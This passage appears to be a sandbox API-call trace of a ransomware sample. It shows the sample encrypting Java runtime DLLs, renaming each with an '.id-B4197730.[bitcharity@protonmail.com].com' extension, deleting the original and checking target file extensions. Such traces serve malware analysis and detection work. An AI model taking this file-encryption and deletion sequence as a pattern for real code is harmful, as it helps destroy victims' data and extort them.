CloseHandle (hObject=0x10c8) returned 1 [0298.073] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.073] SetEndOfFile (hFile=0x1088) returned 1 [0298.076] CloseHandle (hObject=0x1088) returned 1 [0298.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.076] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 1 [0298.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0298.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0298.076] lstrlenW (lpString=".doc") returned 4 [0298.076] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.076] lstrlenW (lpString=".docx") returned 5 [0298.076] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0298.076] lstrlenW (lpString=".pdf") returned 4 [0298.076] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.076] lstrlenW (lpString=".xls") returned 4 [0298.076] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.076] lstrlenW (lpString=".xlsx") returned 5 [0298.076] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0298.076] lstrlenW (lpString=".ppt") returned 4 [0298.076] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0298.077] lstrlenW (lpString=".zip") returned 4 [0298.077] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.077] lstrlenW (lpString=".rar") returned 4 [0298.077] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.077] lstrlenW (lpString=".bz2") returned 4 [0298.077] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.077] lstrlenW (lpString=".7z") returned 3 [0298.077] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0298.077] lstrlenW (lpString=".dbf") returned 4 [0298.077] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0298.077] lstrlenW (lpString=".1cd") returned 4 [0298.077] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0298.077] lstrlenW (lpString=".jpg") returned 4 [0298.077] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0298.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0298.077] lstrlenW (lpString=".doc") returned 4 [0298.077] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.077] lstrlenW (lpString=".docx") returned 5 [0298.077] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0298.077] lstrlenW (lpString=".pdf") returned 4 [0298.077] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.077] lstrlenW (lpString=".xls") returned 4 [0298.077] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.077] lstrlenW (lpString=".xlsx") returned 5 [0298.077] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0298.077] lstrlenW (lpString=".ppt") returned 4 [0298.077] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0298.077] lstrlenW (lpString=".zip") returned 4 [0298.077] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.077] lstrlenW (lpString=".rar") returned 4 [0298.078] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.078] lstrlenW (lpString=".bz2") returned 4 [0298.078] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.078] lstrlenW (lpString=".7z") returned 3 [0298.078] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0298.078] lstrlenW (lpString=".dbf") returned 4 [0298.078] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0298.078] lstrlenW (lpString=".1cd") returned 4 [0298.078] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0298.078] lstrlenW (lpString=".jpg") returned 4 [0298.078] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.078] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0298.078] lstrlenW (lpString="glass.dll") returned 9 [0298.078] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0298.078] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=265792) returned 1 [0298.078] CloseHandle (hObject=0x1088) returned 1 [0298.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20 [0298.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.079] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0298.079] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.079] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.079] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0298.079] GetLastError () returned 0x0 [0298.079] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x40e40, lpOverlapped=0x0) returned 1 [0298.325] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x40e50, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x40e50, lpOverlapped=0x0) returned 1 [0298.330] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.330] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xe6, lpOverlapped=0x0) returned 1 [0298.330] SetEndOfFile (hFile=0x10c8) returned 1 [0298.330] CloseHandle (hObject=0x10c8) returned 1 [0298.331] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.331] SetEndOfFile (hFile=0x1088) returned 1 [0298.334] CloseHandle (hObject=0x1088) returned 1 [0298.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.334] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 1 [0298.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0298.334] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0298.334] lstrlenW (lpString=".doc") returned 4 [0298.334] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.334] lstrlenW (lpString=".docx") returned 5 [0298.334] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0298.334] lstrlenW (lpString=".pdf") returned 4 [0298.334] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.334] lstrlenW (lpString=".xls") returned 4 [0298.335] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.335] lstrlenW (lpString=".xlsx") returned 5 [0298.335] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0298.335] lstrlenW (lpString=".ppt") returned 4 [0298.335] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0298.335] lstrlenW (lpString=".zip") returned 4 [0298.335] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.335] lstrlenW (lpString=".rar") returned 4 [0298.335] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.335] lstrlenW (lpString=".bz2") returned 4 [0298.335] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.335] lstrlenW (lpString=".7z") returned 3 [0298.335] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0298.335] lstrlenW (lpString=".dbf") returned 4 [0298.335] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0298.335] lstrlenW (lpString=".1cd") returned 4 [0298.335] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0298.335] lstrlenW (lpString=".jpg") returned 4 [0298.335] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0298.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0298.335] lstrlenW (lpString=".doc") returned 4 [0298.335] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.335] lstrlenW (lpString=".docx") returned 5 [0298.335] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0298.336] lstrlenW (lpString=".pdf") returned 4 [0298.336] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.336] lstrlenW (lpString=".xls") returned 4 [0298.336] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.336] lstrlenW (lpString=".xlsx") returned 5 [0298.336] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0298.336] lstrlenW (lpString=".ppt") returned 4 [0298.336] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0298.336] lstrlenW (lpString=".zip") returned 4 [0298.336] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.336] lstrlenW (lpString=".rar") returned 4 [0298.336] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.336] lstrlenW (lpString=".bz2") returned 4 [0298.336] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.336] lstrlenW (lpString=".7z") returned 3 [0298.336] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0298.336] lstrlenW (lpString=".dbf") returned 4 [0298.336] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0298.336] lstrlenW (lpString=".1cd") returned 4 [0298.336] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0298.336] lstrlenW (lpString=".jpg") returned 4 [0298.336] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.336] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0298.336] lstrlenW (lpString="j2pkcs11.dll") returned 12 [0298.336] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0298.337] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=63552) returned 1 [0298.337] CloseHandle (hObject=0x1088) returned 1 [0298.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 0x20 [0298.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.337] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0298.337] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.337] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.337] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0298.338] GetLastError () returned 0x0 [0298.338] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0xf840, lpOverlapped=0x0) returned 1 [0298.400] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xf850, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xf850, lpOverlapped=0x0) returned 1 [0298.405] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.405] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.405] SetEndOfFile (hFile=0x10c8) returned 1 [0298.405] CloseHandle (hObject=0x10c8) returned 1 [0298.405] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.405] SetEndOfFile (hFile=0x1088) returned 1 [0298.407] CloseHandle (hObject=0x1088) returned 1 [0298.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.407] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 1 [0298.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0298.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0298.407] lstrlenW (lpString=".doc") returned 4 [0298.407] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.407] lstrlenW (lpString=".docx") returned 5 [0298.407] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0298.407] lstrlenW (lpString=".pdf") returned 4 [0298.407] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.407] lstrlenW (lpString=".xls") returned 4 [0298.407] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.407] lstrlenW (lpString=".xlsx") returned 5 [0298.407] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0298.407] lstrlenW (lpString=".ppt") returned 4 [0298.407] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0298.407] lstrlenW (lpString=".zip") returned 4 [0298.407] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.407] lstrlenW (lpString=".rar") returned 4 [0298.407] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.407] lstrlenW (lpString=".bz2") returned 4 [0298.407] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.408] lstrlenW (lpString=".7z") returned 3 [0298.408] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0298.408] lstrlenW (lpString=".dbf") returned 4 [0298.408] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0298.408] lstrlenW (lpString=".1cd") returned 4 [0298.408] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0298.408] lstrlenW (lpString=".jpg") returned 4 [0298.408] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0298.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0298.408] lstrlenW (lpString=".doc") returned 4 [0298.408] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.408] lstrlenW (lpString=".docx") returned 5 [0298.408] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0298.408] lstrlenW (lpString=".pdf") returned 4 [0298.408] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.408] lstrlenW (lpString=".xls") returned 4 [0298.408] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.408] lstrlenW (lpString=".xlsx") returned 5 [0298.408] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0298.408] lstrlenW (lpString=".ppt") returned 4 [0298.408] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0298.408] lstrlenW (lpString=".zip") returned 4 [0298.408] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0298.408] lstrlenW (lpString=".rar") returned 4 [0298.408] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0298.408] lstrlenW (lpString=".bz2") returned 4 [0298.408] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0298.408] lstrlenW (lpString=".7z") returned 3 [0298.408] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0298.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0298.408] lstrlenW (lpString=".dbf") returned 4 [0298.408] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0298.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0298.409] lstrlenW (lpString=".1cd") returned 4 [0298.409] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0298.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0298.409] lstrlenW (lpString=".jpg") returned 4 [0298.409] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0298.409] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0298.409] lstrlenW (lpString="jaas_nt.dll") returned 11 [0298.409] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0298.409] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=21056) returned 1 [0298.409] CloseHandle (hObject=0x1088) returned 1 [0298.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 0x20 [0298.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.409] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0298.409] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.409] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.410] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0298.410] GetLastError () returned 0x0 [0298.410] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x5240, lpOverlapped=0x0) returned 1 [0298.534] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x5250, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x5250, lpOverlapped=0x0) returned 1 [0298.535] ReadFile (in: hFile=0x1088, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.535] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xea, lpOverlapped=0x0) returned 1 [0298.535] SetEndOfFile (hFile=0x10c8) returned 1 [0298.535] CloseHandle (hObject=0x10c8) returned 1 [0298.535] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.535] SetEndOfFile (hFile=0x1088) returned 1 [0298.536] CloseHandle (hObject=0x1088) returned 1 [0298.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0298.562] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 1 [0298.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0298.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50 [0298.773] lstrlenW (lpString=".doc") returned 4 [0298.773] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0298.773] lstrlenW (lpString=".docx") returned 5 [0298.773] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0298.773] lstrlenW (lpString=".pdf") returned 4 [0298.773] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0298.773] lstrlenW (lpString=".xls") returned 4 [0298.773] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0298.773] lstrlenW (lpString=".xlsx") returned 5 [0298.773] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0298.773] lstrlenW (lpString=".ppt") returned 4 [0298.773] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0298.773] lstrlenW 